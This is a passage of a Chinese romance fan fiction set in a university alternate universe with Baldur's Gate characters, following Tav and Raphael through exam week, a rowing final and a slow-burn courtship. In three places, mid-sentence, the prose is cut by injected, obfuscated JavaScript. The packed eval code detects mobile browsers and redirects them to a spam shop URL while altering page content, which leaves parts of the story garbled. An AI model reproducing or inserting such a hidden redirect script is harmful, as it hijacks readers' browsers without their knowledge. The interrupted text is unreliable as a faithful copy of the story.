塔夫愤愤地抓了两下这才满意收手。 拉斐尔像是在克制着什么,最后一边站起身、一边非常顺手地又整理一次头发,并在塔夫有机会再次表达不满前,轻咳一声,提起二人这次见面的目的——复习。 他朝她伸出手。 塔夫哼一声,双手抓住,暗暗角力向下拽。拉斐尔垂眼笑着由她胡闹,接着一脸轻松地把她稳稳提了起来。 塔夫:简直可恨! 她忍不住笑出声:“你很得意嘛!” 拉斐尔紧紧握住她的手:“快来吧。” . 复习周还没有正式开始,但周日下午的图书馆已经坐满人。 仍空出的位置要么不够安静,要么有一股子腐旧的怪味,要么相隔很远。 塔夫想说不如分开坐,又觉得这和一起复习的目的相背,转了一圈回到楼梯间后,小声问拉斐尔: “你平时会在哪里复习?” . 62.等待 塔夫和拉斐尔沿着冲萨河边走边聊。 直到能够远远望见一栋有尖顶和拱形窗的红砖房,塔夫才问出那个问题: “我们这是去哪儿?” “我住的地方。”拉斐尔说。 “男生宿舍?!” “我的住处。没有其他人。” “什么?”塔夫一下停住脚,“当你说‘阅读室’的时候,就是指你的房间,而不是……比如赛艇队的阅读室?” “赛艇队没有阅读室。” “或者类似会议室,”塔夫更加哭笑不得,“甚至你在赛艇队的休息室也可以呀。” “所以你并不是介意独处,而是周围没有其他人在。”拉斐尔理解地点点头,“如果你觉得不自在,我们可以打开门,请男仆守在门外。” “但公共场所和你的房间,哪怕有其他人在,也还是不太一样。” 塔夫说着有些难为情。拉斐尔向她敞开私人空间,这大概说明他已经下意识地更信任更接纳她?但她还没有做好这种心理准备,之前忍不住想要邀请他回农场也只是想一想而已, “在你住的地方,就算只是学习,感觉也会更亲密呀。” 拉斐尔看着她,耳朵慢慢染红,又微微偏过头。 他在想什么?他刚才真的没想到这些?他现在是在猜她想到了什么除了学习之外的亲密相处吗? 塔夫也更加窘迫起来,连忙提议:“或者我们可以去学生餐厅的那个房间?足够安静,晚上吃饭也方便。” “当然。”拉斐尔立刻回答,“这是个好主意。” 他接着飞快地解释说,那栋房子对他来说那只是一个住处,和其他地方没什么区别,但因为安静,所以适合复习。他刚才没有什么额外期待,或想要给她任何压力的意思,不过总归是他没有考虑周全。 塔夫脸颊微微发烫,但看着拉斐尔也局促的样子,又忍不住调侃他:“那我反倒要可惜起来,错过了参观‘那个拉斐尔’的私人房间的机会。” 她怕他当真按字面理解要回去,立刻补充,“我们快去自助餐厅吧!” . 二人又绕一圈,来到学生餐厅。 塔夫终于知道,拉斐尔每次送她回宿舍都要穿过大半个校园,想必今晚也会如此,可他从没有提过这些。 她心里感动,一边重新拿出书本笔记,一边问起昨晚。拉斐尔果然是轻描淡写的态度,塔夫却觉得他唇角是有些上扬的,正想再打趣着感激他几句,拉斐尔放下的书和羊皮纸吸引了她的注意。 好几卷《法律的道德性》《公共秩序的权威基础》,羊皮纸上则大概是他的期末论文题目《罪与罚:畏惧神明或畏惧人类》。 这让她一下想起对诺亚的“惩罚”,好奇:“那论文题目是讨论,畏惧神明与畏惧人类相比哪个更高尚吗?” 拉斐尔嗯一声,见她跃跃欲试,笑着问:“你怎么看?” 塔夫很快便道:“不如换一种更直接的说法,因为出于良心所以不做一件事,与因为害怕受到惩罚而不做一件事,前者当然要比后者更好,就比如诺亚。” 她说着又把诺亚挖苦了一番。 拉斐尔明明应该也是讨厌诺亚的,此时却不置可否:“内在约束和外在压力,最后都体现为某种控制。内在控制或许更为稳定,但外在控制也并不见得低于内在。” 这让塔夫很惊讶于他的态度:“一个是内心的道德选择——这是主动地追求,直接体现了一个人的自由意志!一个是外部的约束惩罚——只是被动地为了避免损失,是屈服于别人定下的规则。无论如何,都是前者更好吧。” 她说着又举一个例子,“比如一个男人出轨了,承认错误保证不再犯并不是因为伤害到了妻子,而只是懊恼被妻子发现、出于比如外在的经济损失考虑不得不这样做,这种‘不做’就还是很令人厌恶。” “我可以理解你的想法。”拉斐尔说,“但对于很多人,内心道德也是由外部规则内化而成。恐惧、害怕被发现、以及‘真的’会因此受到惩罚的预期,才是更有效果的约束手段,比依赖个人的道德要更实际。” 塔夫不同意:“但那只是控制行为,并没有改变内心的选择。还是那个男人,如果没有惩罚,或者没有被发现的可能,他不就仍会放任自己了吗?” “与其寄希望他改变内心,不如建立更完善的秩序和更清晰的惩罚,让他在衡量后果后选择不犯错,最后得到相同的结果:没有造成伤害。” “这怎么会一样?!他可是要出轨啊!你是觉得这种事想想也没问题吗?” “如果你的问题直接指向‘我’,”拉斐尔像是想到什么,笑着叹口气,“我承认歉疚的力量会带来变化,也不会违背对伴侣的承诺。”他又变得严肃些,“但我同样认为,规范行为比控制想法更实际可行。我刚才的立场更偏向公共事务而不是私人情感问题。” “我刚好还有另一个例子!”塔夫立刻说。 …… 由一个话题引申到另一个话题,塔夫和拉斐尔一直讨论个不停,拉斐尔也差点要违背食不语的原则:“暂时休息一下,先吃晚餐?” 塔夫又咕哝着说一句,但没有拉斐尔的参与,她觉得一下少了很多意思——哪怕她和他观点并不总是相同。她又后知后觉地惊呼:“我们下午完全没有复习。”接着安慰自己,“至少讨论了一点你的期末论文。” 拉斐尔咀嚼停顿,过了会才再次开口:“那并不是期末论文。” 塔夫:“……” 她下定决心晚餐后总是要开始复习,结果一聊起来就停不住,这样度过一整晚。 回去的路上,塔夫狠下心,对拉斐尔说:“我大概不能和你一起复习了。”她说着又好笑起来, “我现在相当赞同你的观点。我的内心不太可靠——我跟你在一起的时候,肯定会想和你聊天,所以只好通过外部控制了。不过我不又想接受什么惩罚,那应该是意味着成绩不理想。因此我不得不选择第三条路:远离诱惑。” 拉斐尔想找到两全其美或折中的方法,却都被塔夫用他今晚的话巧妙回应过去,她甚至还调笑着说:“我也不愿意的,可你魅力实在太大啦。” 最后,他只能无奈瞧着她:“如果你改变主意……” “我知道去哪里找你。”塔夫笑着接道,“而且这次不仅仅只是去赛艇队了。” 拉斐尔叹口气,伸手抱住她又在头发上吻了吻:“如果一直没有再见面的话,提前祝你考试顺利。” “你也是。” . 复习周正式到来。塔夫花了小半个上午重新进入复习状态,而且似乎比之前更有干劲。 除了一直以来的目标,她又多了几个鼓舞:她不能白白“牺牲”掉和拉斐尔相处的机会。同时也想向自己证明,她有能力在感情和学业中找到平衡。 她其实也并没有只是一心学习。 她同绘画部见了一面,把他们按时完成的海报和剧目小册子一起送去印刷社影印。 她和影心为缓解压力夜跑了几回,并总算是阻止了她冲动跳进冲萨河夜泳。(“哈尔辛一定会和我一起!”,“但我不是他!”) 她还同菲拉几人去镇上为剧团采购一次。 里萨仍没有得到自己想要的灯光效果,泽希诺也想多加些细节装饰,于是她们又决定期末结束后的那个周日一起去博德之门(周六则要看赛艇决赛)。塔夫不会同去——以防她们没有及时赶回来,周一上午的排练需要由她做好一个人组织的准备。 她也顺便得知弗兰找到了临时酒保(“没有诺亚那样俊俏,人也有些沉默,但目前来看足够可靠。”) 不过,她出于某种说不清的理由一直没有再和拉斐尔见面。 她时不时会想起他,尤其是在没有复习的时候。还有那天,她和菲拉几人从镇上说笑着回学校的路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209949|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她忽然格外想见他。 有些奇怪的是,明明没有见面,她却觉得和拉斐尔更熟悉更亲密了。回想他夸赞自己专注和自律,还有那天他令人感动的反应,她心里总是泛起一股暖洋洋的感觉。在母亲和姐姐之外,她似乎也不想让拉斐尔对她失望。想到他也让自己又多了一份激励。 . 拉斐尔一开始是有些失落的。 塔夫可以这样干脆地提出两周后再见,没有任何犹豫或不舍,也没有任何迹象会来找他。 可他一直会想到她。 他复习看书时会想知道她的观点,训练时会想和她一起看清晨的冲萨河。他比以前更加想知道她的过去,她的成长经历,她的心情想法……细节越多,就越能够拼凑出一个完整真实的她。而越了解她,他就越喜欢她,接着又想知道更多。这过程几乎令人上瘾。 他当然贪心想见到她,但也想看到她因为专注努力而光彩自信的样子。 他毫不怀疑她一定能实现她的目标,她会为此开心和满足。 他也会。 可是他又多么希望成为令她开心的原因!而不仅仅是在一旁欣赏钦佩。 不,他甚至不在她身旁。 他是分散她注意力的诱惑。不去打扰她才是他能够给予的支持。 这段时间,她也会想到他吗? …… 两周时间格外漫长。 周五下午,最后一场考试结束后,校园里一下子有了生机。 拉斐尔昨天就已经可以放松下来,但他知道塔夫有一门考试是在今天下午。她和他约定明天比赛后碰面,然而他还是忍不住离开房间,却停在房前的花圃外,不确定应该去哪里。 她今晚大概有其他庆祝,和其他朋友。 拉斐尔默默望着冲萨河,直到太阳开始落下。他忽然看到一个身影,脚步轻快地沿河走来。 是塔夫。 他一眼认出她。 她是来找他吗? 拉斐尔想要朝她呼喊、挥手、或者干脆跑向她,却像是被施了什么法术,一动也不能动。 塔夫似乎看到了他。 仿佛塞壬的船首像划破夕阳,她朝他的方向跑来。 她是来找他的。 拉斐尔却忽然生出一种惶恐,几乎想要转身藏起来。仿佛他也会被塔夫切开,划出一片裂隙,只有她本人才能填满。从那以后,他的世界就只有“她在身边”和“她不在身边”的区别……没有任何中间地带…… 但塔夫来得那样快,只不过一眨眼就出现在他面前。 “我以为你看见我了呢!”她眼睛亮晶晶的, “我突然很想见你!就来碰碰运气,看来我运气还不错。” 拉斐尔被可怖的巨大情感淹没,那浪潮退去后,在胸口留下一片泛着酸意的痛楚。 可那又有什么关系呢。 她也想见到他。 那些她不在身边的时间,他可以用来等她。 感到幸运的是他。 拉斐尔一下搂住塔夫,又忍不住将她高高抱了起来。 塔夫吓了一跳,轻呼一声,双腿环在他腰上,手臂撑在他肩膀。 拉斐尔仰头仔细凝望她的脸:“塔夫。” “你这家伙,不会是直到现在才发现是我吧?”塔夫佯装生气的样子,嘴角却是上扬的。 “塔夫!” “是我。”塔夫垂眼望着他,忍不住笑起来,“我来找你啦!” 这感觉一定就是幸福。拉斐尔看着塔夫被夕阳镀上一层金色的脸庞,虹膜,睫毛,鼻尖,嘴唇……如同他第一次见到她的那个傍晚。 时间忽然变得缓慢。 他的心跳和呼吸骤然停止,喉咙一阵发干,几乎感到眩晕。 她是这么可爱,而他又是多么想她。 好想吻她。 想吻她。 吻她。 . 63.庆祝 塔夫垂眼望着拉斐尔。 他眼睛里的金色仿佛阳光,明亮得能够灼伤她。 她忽然感到自己身体里蕴育着一种巨大的能量——只是她的出现、不过她的寥寥几句话,就能够让一个人的情绪有如此剧烈的变化,就能够让面前的向来镇定的人变得无法自已。 她能够如此轻易地影响他也许甚至操纵他。 而她竟为此生出一种无与伦比的满足之感。 他在看着她。 请这样一直看着她。 …… 但夕阳如此短暂。只一会,拉斐尔瞳色便深沉下去,莹润的琥珀中不再是流动的金色,因为她投在他脸庞上的影子,几乎变成絮丝状的墨色。 塔夫看到拉斐尔眼中的情动,而那也是她在他瞳孔中的倒影。 他终于要吻她了吗? 怦。 怦。 怦。 塔夫忽然抱紧拉斐尔,飞快在他头发上吻了下:“我也很想见你。” . 拉斐尔慢慢呼出一口气,终于压下刚才那阵令人口干舌燥的冲动,心脏也重新开始跳动。 他一条胳膊支撑着托在塔夫臀下,空出一手扶正她小腿让她夹得更稳,最后抚上她后背,更好地抱住她:“我在这里。” 还有一周。 他已经等过两周,当然可以再等一周。 . 拉斐尔记不清自己是怎么重新回到大门后的。 和她的突然出现一样,塔夫仿佛是同样突然地消失。 而他明明记得塔夫和他说的每一件事,考试、成绩、今晚的放松、明天的比赛、周日剧团朋友会去博德之门、接下来连续几天的排演。他也还记得她温暖的身体、弯弯的眼睛、饱满的微笑着的唇……但愿他不小心流露的急切渴望没有吓到她。 她几乎是用命令似的口吻,告诉他不需要送自己回去。 他当然不能同意,塔夫又用轻快的语气说,这次来找他完全是她的心血来潮,他明天可是有决赛,如果出现什么意外,或者没有休息好,到时候不光所有人都要找她来算账,她自己更是要懊恼。 最后,她不知是在模仿谁的口吻:“小锡兵!咳,士兵!服从长官的指挥!” 他便只好被她半推着进了大门,看她朝自己挥挥手,又关上门。 拉斐尔转过身,见哈勒普正张开嘴,立刻对他说:“如果你准备念几句情诗的话,我并没有那个心情。” 于是,哈勒普很有眼色地合上了嘴。 . 与需要为明天比赛做准备、必须努力静下心、以便获得充足休息的赛艇队成员相反,这天晚上校园里到处是庆祝到很晚的学生。 比如在铁皮垃圾桶里倒入酒又扔进火柴,一圈人继续尖叫着朝里面丢团成团的羊皮纸和纤维纸,直到被校警制止并驱赶。(下尉严肃提醒:乱烧垃圾是违法行为!) 或者边跑边扯掉衣服,怒吼一声起跳,像炮弹一样炸进河里。(影心:不是我。) 当然还少不了大吃大喝的、烤棉花糖的、高声唱歌的。事实上,似乎整个学校的鲁特琴都被搬了出来,而同琴与歌一起被搬出来的还有人心中的浪漫情意。 塔夫和影心一起坐在活动中心前的篝火旁。 影心一边抱怨着今年的决赛时间实在有些糟,让她没办法第一时间和哈尔辛一起庆祝期末结束,一边和凑过来的一对双胞胎调情。 两个都是浅金色头发,翠绿色眼睛,连脸上雀斑的位置似乎都一模一样。 双胞胎中的不知道哥哥还是弟弟笑着对塔夫说:“我们当然也不能冷落这位迷人的姑娘。” 塔夫无奈摇头:“不了,谢谢。我并没有这个心情。” “真不知道谁才是单身。”影心把他们打发走,对塔夫特意去见拉斐尔,见到了居然也没有任何进展大感惊讶。 塔夫其实也有些意外,自己居然有意识地避开了亲吻拉斐尔。 她当然不厌烦他的靠近,期待也远远多于羞涩。甚至不如说,她早就想吻他了。 也许是因为想到五周之约只剩下最后一周,她忽然决定把这一刻留到最后。不是为了考验自己或拉斐尔的耐心,更像是为了完成二人之间的一种奇妙的承诺。 影心耸耸肩:“我虽然是可以理解仪式感的重要性,但这不还是白白错过了一次乐趣嘛。” “我现在很赞同你!”塔夫有些可惜,又像是自我说服,“不过也许正是这些错过的可能,才让等待和最后那一刻有更多意义?而且才一周。” “不仅仅是一周,你可是忍了整整三年!情感又不一定总是负担,还能缓解压力呢。你对自己太苛刻了,今晚我们不如好好练习一下怎么放松!” 影心和又一个来调情的棕发卷毛说,“跟她!你们头发颜色更搭!” 塔夫:“……” 棕发卷毛:“……” 棕发卷毛:“我很喜欢的你头发,看上去……” 塔夫:“不了,谢谢。” 塔夫重新看向影心:“我觉得和你聊天才更有意思,而且也很放松啊。” “这倒是让我没办法反对。”影心笑了,之后没再继续这个话题。 . 下半夜,塔夫眼皮打架实在支撑不住,先回宿舍,躺在床上后却又想了想。 贾希拉和卡菈克也对她说过和影心今晚类似的话: ——“塔夫,不需要非得完成所有的事,才能允许你自己出去玩。快去找明斯克和姐姐,一起去镇上过仲夏节吧。” ——“如果把放松都当作是一种完成任务才有的奖励的话,你对自己也太过严格啦,小锡兵。” 然而母亲和姐姐同样支持她为考入医学院努力,也经常称赞她的专注力。 也许这种事情上没有正确答案,但她今晚明明已经冲动地去找拉斐尔了,却像是收到什么指示似的停下了。 唉,她那个时候是不是真的应该吻他的,他看上去多讨人喜欢啊。 塔夫翻来覆去好一会,最后决定:还是等到一周后的那个时刻再说。因为这不仅仅是她一个人的事,拉斐尔估计也是这样想的,说不定她正是受到他的影响才做出如此决定。 这才终于睡着。 . 一觉美美睡到中午,时间又很快到了下午。 赛艇决赛。 双人艇和四人艇的比赛后,就是赛制最古老的八人单桨对抗赛,也是最振奋人心的赛事。 虽然航道全长有六千多米,冲萨河两岸还是被围了个水泄不通,肩膀挨着肩膀。博德安大学的金、红两色,对阵安苏学院的银、绿二色。 比赛本身进行得极快,不过几次呼吸和加油,观众便只能看到赛艇船壳的尾鳍和坐在最后的舵手的背影。 塔夫和影心来得早,占到更靠近终点的位置。十几分钟后,当她们终于望见两艘赛艇几乎肩并肩驶来时,同周围的人一起又跳又叫起来:“加油!博德安!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223082|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “哈尔辛!“影心大喊,“使劲啊!给他们点颜色瞧瞧!” 船上的人大概听不清什么,塔夫也无法看清他们中任何一人的五官,但她还是激动不已,忍不住也大声喊出名字:“拉斐尔!加油” “踢!安!苏!屁!股!”一道熟悉的声音,居然是防身课的姑娘。 “噗。”塔夫和她对上视线,一起笑出声。 “喔哦哦——” “噢哦哦——” 金红色率先冲过终点! 博德安大学连续第三年赢下赛艇对抗赛! 嘭! 刷! 咻——! 下一个瞬间,彩带、飘旗、甚至还有几道烟花,将冲萨河染成一片金色和红色。 影心拉着塔夫挤出人群:“我带你去个好地方!”她神秘兮兮地摸出一张写着“亲友”的吊牌。 . 校园各处的草坪上、河边,都开始搭建起临时的派对帐篷,像是凭空长出的一株株巨大白色蘑菇,为即将到来的校友日,以及校友日后的毕业典礼做准备。 其中一顶被围起来的帐篷里,赛艇队成员虽然身体疲惫,但也难掩兴奋和喜色,一个个都脱去湿漉漉的上衣,如果不是还有好多其他学生助手、工作人员、甚至报社记者在,他们恐怕恨不得脱得只剩最后一条裤子。 影心带着塔夫,一路通畅无阻:“哈尔辛!” 真是美好的景致! 就是味道不那么……令人愉快。 塔夫还是一眼先找到哈尔辛,又忽然发现威尔也在自己身边——他肤色比其他人要深,肌肉线条因此更加明显,皮肤几乎反着光,见到她一下结巴起来:“塔、塔……?” 这让塔夫差点忍不住调侃他一番,最后还是只客气说几句,看来他在赛艇队还不错,已经成为正式队员参加比赛了:“恭喜你!” “哈尔辛,拉斐尔,还有大家,都很好。”威尔手忙脚乱,扭头去找上衣。 “你是影心的朋友?之前怎么没见过你?”一个比威尔瘦一些矮一些的男生靠过来问,“你叫什么名字?”他火红色的头发理得很短,看上去毛刺刺的,满是水或者汗。 一只巨大的手直接伸了过来,比其他人都健硕的上身坦荡大方地赤裸着:“别凑那么近。”哈尔辛不嫌弃却也丝毫不客气地抓着他的脑袋扭向另一边,“矜持点。” “欸欸欸,别弄乱我刚做好的发型!”男生嚷嚷起来,跑去一边打理——虽然塔夫看不出来他到底有什么发型,不过后背上的肌肉还是很不错的。 哈尔辛冲塔夫点了下头,又朝影心道:“你今年真的来了?我当然想见到你,越早越好。只是这里比预想中还要混乱。” 影心笑眯眯表示她其实喜欢得很,又问:“拉斐尔在吗?” 哈尔辛笑了,偏过头却是对威尔说:“这可还真是个令人怀念的场景。” 威尔总算找到件看上去还算干净的衣服,正在重新套上,头只露出一半就开口回答:“拉斐尔在教练那儿,可能还有记者。” 拉斐尔似乎听到什么,或刚好同教练说完,表情漠然地穿过这片无比混乱的临时更衣区。 塔夫看到他,震惊地差点说不出话来。 他穿着的上衣质地贴身,又因为被打湿更清晰的显出线条。 ——但是,是的,拉斐尔仍是穿着上衣,一丝皮肤没有露出,甚至连袖子都没有挽起。 简直不可置信!!! . 64.倒数 拉斐尔也一脸不可置信。 虽然他很想比赛后就立刻见到塔夫,但当初同意与她直接约在庆祝派对,也是因为不想让她来这种汗涔涔、臭烘烘的地方。 他现在看上去一定糟透了,没来得及换衣服,头发一团乱。 他根本没想到塔夫会自己跑过来。 无视两人间的约定! 还看得津津有味?! 她是在看哈尔辛吗?! 居然还在看威尔……?! 红毛的背是所有正式队员中练得最差的,真不知道那有什么可看的?! 拉斐尔眉毛越皱越紧,几步便已经到塔夫身边:“跟我来。” 影心笑嘻嘻把哈尔辛拽到一旁:“别去打扰,我们从另一边走。” 威尔发现衣服穿反了,号码也有些小,导致领口卡在脖子上十分别扭,正脱下来准备重新穿上,忙乱中挥下衣服对哈尔辛说:“晚上见。” 短红头发总算打理好头上的每一根毛刺,转身重新回来:“咦,人怎么一下都走了?”他冲威尔扑过去,“等等,这不是我晚上派对要穿的上衣吗?!啊!!!” …… 冲萨河边。 拉斐尔沉着脸,牵着塔夫的手沿河走了大半公里,直到几乎听不到吵闹的声音,也见不到其他人影,这才终于稍稍慢下来。 塔夫一路小跑着跟上,虽然有些气喘但始终忍着没有打断他的思索,心里则越来越好笑,最后终于笑出声:“你这是准备要逃到哪里去?” “你怎么会在那里?”拉斐尔突然停下,转过身看着她,一脸严肃。 “当然是因为我想来见你!”塔夫立刻回答。 拉斐尔一下噎住,想说的话顿时忘了个精光。 “影心有通行证。”塔夫解释一句,又立刻堆出委屈表情,眨眨眼睛问,“你不想让我来这里找你?是因为……你不想让赛艇队的其他人看到我吗?” 怎么会?! 他恨不得让每个人都看到她,让每个人都知道她有多特别,让她得到每个人的欣赏和赞美! 然而,他同时却又想把她藏起来,小心保护好,不被其他人看到,更不想让她去看其他人! 拉斐尔望着塔夫装出来的可怜兮兮的模样,又是喜欢又是恼火,心里各种矛盾交织,一时说不出话。 塔夫不知道拉斐尔在想什么,只能看到他胸膛起伏,诱人极了,手不由自主摸向他衣服下摆: “衣服这么湿乎乎地粘在身上,无论是汗还是溅上来的河水,肯定都不会舒服吧。你怎么不和其他人一样,干脆脱掉呢。” 拉斐尔一把握住她的手:“因为我不是其他人。” “哎呦,这么得意。”塔夫握回去,又在他手腕挠痒痒,“那我也不是其他人。至少让我偷偷看一眼!” 她瞧着拉斐尔仍努力想要绷紧、却慢慢涨红的脸,继续捣乱:“你不会是在害羞吧?这里没有别人,他们都在那边庆祝呢!” 她说着重新向前伸出手,指尖只差一点就能摸到布料了! 可惜又一次被拦了下来。 塔夫:…… 她被激起斗志,又想到拉斐尔刚比赛完不久,体力精神现在应该还没有完全恢复,不会那么敏捷,正是天时地利,于是一场攻防战瞬间爆发! 在接下来的短兵相接中,塔夫分别使用了声东击西、浑水摸鱼、调虎离山等招式,并被拉斐尔用以逸待劳、偷梁换柱、无中生有等一一化解。 塔夫:可恶,没想到你有两下子!(喘气)(喘气) 拉斐尔:你就是用美人计,对我也没有效果。(笑) 塔夫:简直太可气了! 她干脆耍赖,使上苦肉计,手一被拉斐尔碰到就喊疼。 拉斐尔怕真的弄疼她不敢太使力,塔夫却越来越肆无忌惮起来。他开始节节败退,最后靠在一株风铃木上,语气则几乎带着恳求了:“请让我们等到演出结束后吧。” 塔夫手指已经成功抓住他衣沿,听到这话一顿,犹豫挣扎片刻,终于还是放开了。拉斐尔心里松一口气,又莫名感到遗憾,就听塔夫问:“那让我摸摸可以吗?” 他重新怔住。 塔夫趁机继续又添一把火:“反正我们抱也抱过了。昨天,你可是还托着我的腿贴在上面呢,不过换成手感受一下!这总不需要等到一周之后吧。” 眼见拉斐尔简直要羞得、或者气得晕过去,她决定见好就收,“隔着衣服。” 拉斐尔没有回答,仍紧紧抓着她的手。塔夫又让一步,软言撒娇说:“就一下。可以当作是我不小心碰到吗。” 手被慢慢松开,拉斐尔始终望着她的眼睛,脸上是又羞又窘、不知道应该怎么办是好的无可奈何的神色。 塔夫被他看得心里一颤,脸颊隐隐发烫,也跟着感到羞赧起来,却被他目光牢牢吸住,无法移开视线。 她咽下口水,抿抿唇,终于准备说那就算了,又察觉拉斐尔的手指仍紧紧贴着自己皮肤。他的指尖沿着她的手背轻轻向上抚过,激起一阵痒意,最后停在手腕。 拉斐尔再次握住她的手,缓缓拉向自己身体:“哪里?” 想摸哪里? 塔夫脸一下烧红。 她主动伸手摸拉斐尔,和被拉斐尔带着她的手摸他,为什么差别会这么大。她突然不好意思再看拉斐尔,垂下眼睛望向二人的手,拉斐尔却像是明白什么: “这里?” 他拉着她的手,悬在自己小腹上。 虽然满脸通红,塔夫还是立刻抓住机会向下压了压,又一下惊讶起来:“怎么会这么硬!你是在憋气收腹吗?放松下来会是什么感觉?” 拉斐尔没想到她是这个反应,下意识叹出一口气,塔夫连忙又按了按:“哦哦,这才是自然状态下的触感,我就说嘛。再收紧一下我对比看看。”她继续摸起来。 眼见气氛从羞涩的暧昧一下转到好奇和探索,拉斐尔似乎是彻底放弃抵抗了,吸一口气又重新收紧腹肌,口头却不认输地调侃问:“这也能算是不小心碰到?” 塔夫正埋头顺着肌肉的起伏和轮廓一块块摸得开心,闻言抬起头瞥他一眼,手上仍摸个不停:“你可是还抓着我的手呢!这当然要算是你主动邀请,开门揖盗。” “那么这位侠盗女士,”拉斐尔似笑非笑地挑起眉,一字一字慢悠悠问,“你摸得还满意吗?” “满、满意。”塔夫终于摸够了,确切来说是觉得再往下摸就不太好了,讪讪收回手。 她突然再次感到难为情起来,还多了一种偷偷拿人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233557|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家东西却被苦主撞个正着的窘迫,一时有些不知所措,轻咳一声,决定使出最后一计走为上: “非常满意。我得一个人慢慢回味一下。那我们就一会再见了!” “抢了东西就跑?”拉斐尔仍抓着她的手。 “难道你要我礼尚往来?”塔夫口不择言。 拉斐尔愣住,两人你看我我看你,一起涨红脸,却没松开手。 塔夫语气有些哆嗦:“你真的要摸回来?” 拉斐尔一下放开她,这下脖子也烧红了,简直能冒出蒸气,想起自己身上湿漉漉的不能拥抱塔夫,只能重新又拉住她的手捏了捏:“……一会见。” “回见。”塔夫嘟囔一声,甩开他的手,忙不迭逃走了。 拉斐尔瞧着塔夫慌不择路地直接从草坪上逃跑,忍不住弯起唇,最开始的那一点不快早就消失得一干二净,冲她喊: “还有六天!” 塔夫脚下差点一个踉跄。 拉斐尔又大声说:“而不是一周后!” 塔夫转过身,脸颊绯红地瞪他一眼:“我也数着呢!明明是你不会数数!”这才又重新跑开。 . 塔夫不在乎方向地一口气跑了很久,约莫看不到冲萨河,又回头确认果然看不到了,这才放慢脚步。 她知道拉斐尔身材一定很好,但没想到会这么好。哪怕隔着一层衣服只用手指去感受,也轮廓清晰,线条分明,既可以柔韧也可以坚硬。除了害羞和兴奋,她也忍不住感到既骄傲又佩服。 而当她得知拉斐尔和她有同样的心情,和她一起等待着一周后的那一刻(或者如果用他的算法,六天)。就像是小时候倒数着,等待节日或生日到来,到终于可以拆开礼物的那个瞬间。那不再是一个简单的约定,变得更像是两人之间分享的奇妙链接——他既是她的同伴,又是她的礼物。 随期待而来的兴奋和幸福成倍膨胀,几乎让她能轻飘飘地飞起来,低下头却看到一根牵住她的绳子。 那之后就是暑假了。 塔夫终于想起这令拉斐尔失望和生气的安排。 但他后来也没再提起,难道已经有了什么计划? 是的,他总是有办法的。 她忽然放下心来。既然拉斐尔已经知道这件事,她便不用再担心了。哪怕是等到演出结束的那一刻,甚至是她上船的前一秒,只要她对他说:“我想和你一起过暑假”,他便一定能做到。 . 回过神来时已经走到小剧院,塔夫干脆顺便比较了几个可以放置幻象的地点,没有找影心,又直接回宿舍换了条半正式的舞会裙子——两人早已说好,如果走散,就在赛艇队的俱乐部碰面。 决赛后有好几个庆祝派对,最受欢迎的当然是赛艇队组织的那个。 除了有免费酒水,整栋建筑更是少有的向全部学生开放。又因为人人都想要参与,所以不得不通过抽签决定,最后还是变成邀请制。 她和影心这次都有邀请,也是三年来第一次去这个派对。虽然她的那封邀请函不是来自抽签,但和影心收到的款式一模一样。 塔夫站在穿衣镜前收拢头发准备盘个发髻,想了想还是又放下。 今晚一定也会很特别,不过毕竟不是那一刻。 . 65.正式 赛艇俱乐部庄园外。 看着身旁格外精致的衣裙,塔夫不由得疑惑起来。 她拿出邀请函,上面的确没有衣着要求。 “塔夫!” 影心仍穿着下午的夏装裙子,但换了一个发型,用和裙子同色的发带高高编起头发,整个人带着一种英气利落的漂亮。哈尔辛不在她身边。她听到塔夫的疑问,只是耸耸肩:“因为有一个社交舞的舞池。”接着夸赞道,“我一直想见你再穿一次这条裙子!你看上去棒极了!” “你才是。” 塔夫又忍不住要影心转过身,好更仔细得看她的编发和发带,惊叹,“这其实是裙子的腰带吗?” “没错!你眼睛真厉害!” 塔夫穿得的确比影心更正式些,但既没有盛装的华丽,也没有影心的巧思。 虽然裙子本身是她一年前为这类场合特意挑选的,经典简洁的黑色礼裙,设计大方剪裁流畅,但对今天晚上来说,大概……太过单调。 不过有影心在,她没有时间再去担忧这些,二人说说笑笑排在队伍里。 守卫一个一个仔细检查邀请函,入场不算快但很有序。 进入大门后,草坪经过精心修剪,灌木在路两旁十分规整地排列,看上去几乎不像是真的。塔夫再次隐约感到格格不入,哪怕这并不是她第一次来这里。 终于来到宽大的庄园正门前。 哈尔辛在那里等影心。他似乎并没有刻意打扮,但身形就足够引人瞩目。塔夫看着他发间细细的辫子有些眼熟,脱口而出: “原来影心的头发是你编的?” “哈!瞧我说过什么!”影心朝哈尔辛扬起眉毛,“塔夫一眼就能看出来!” 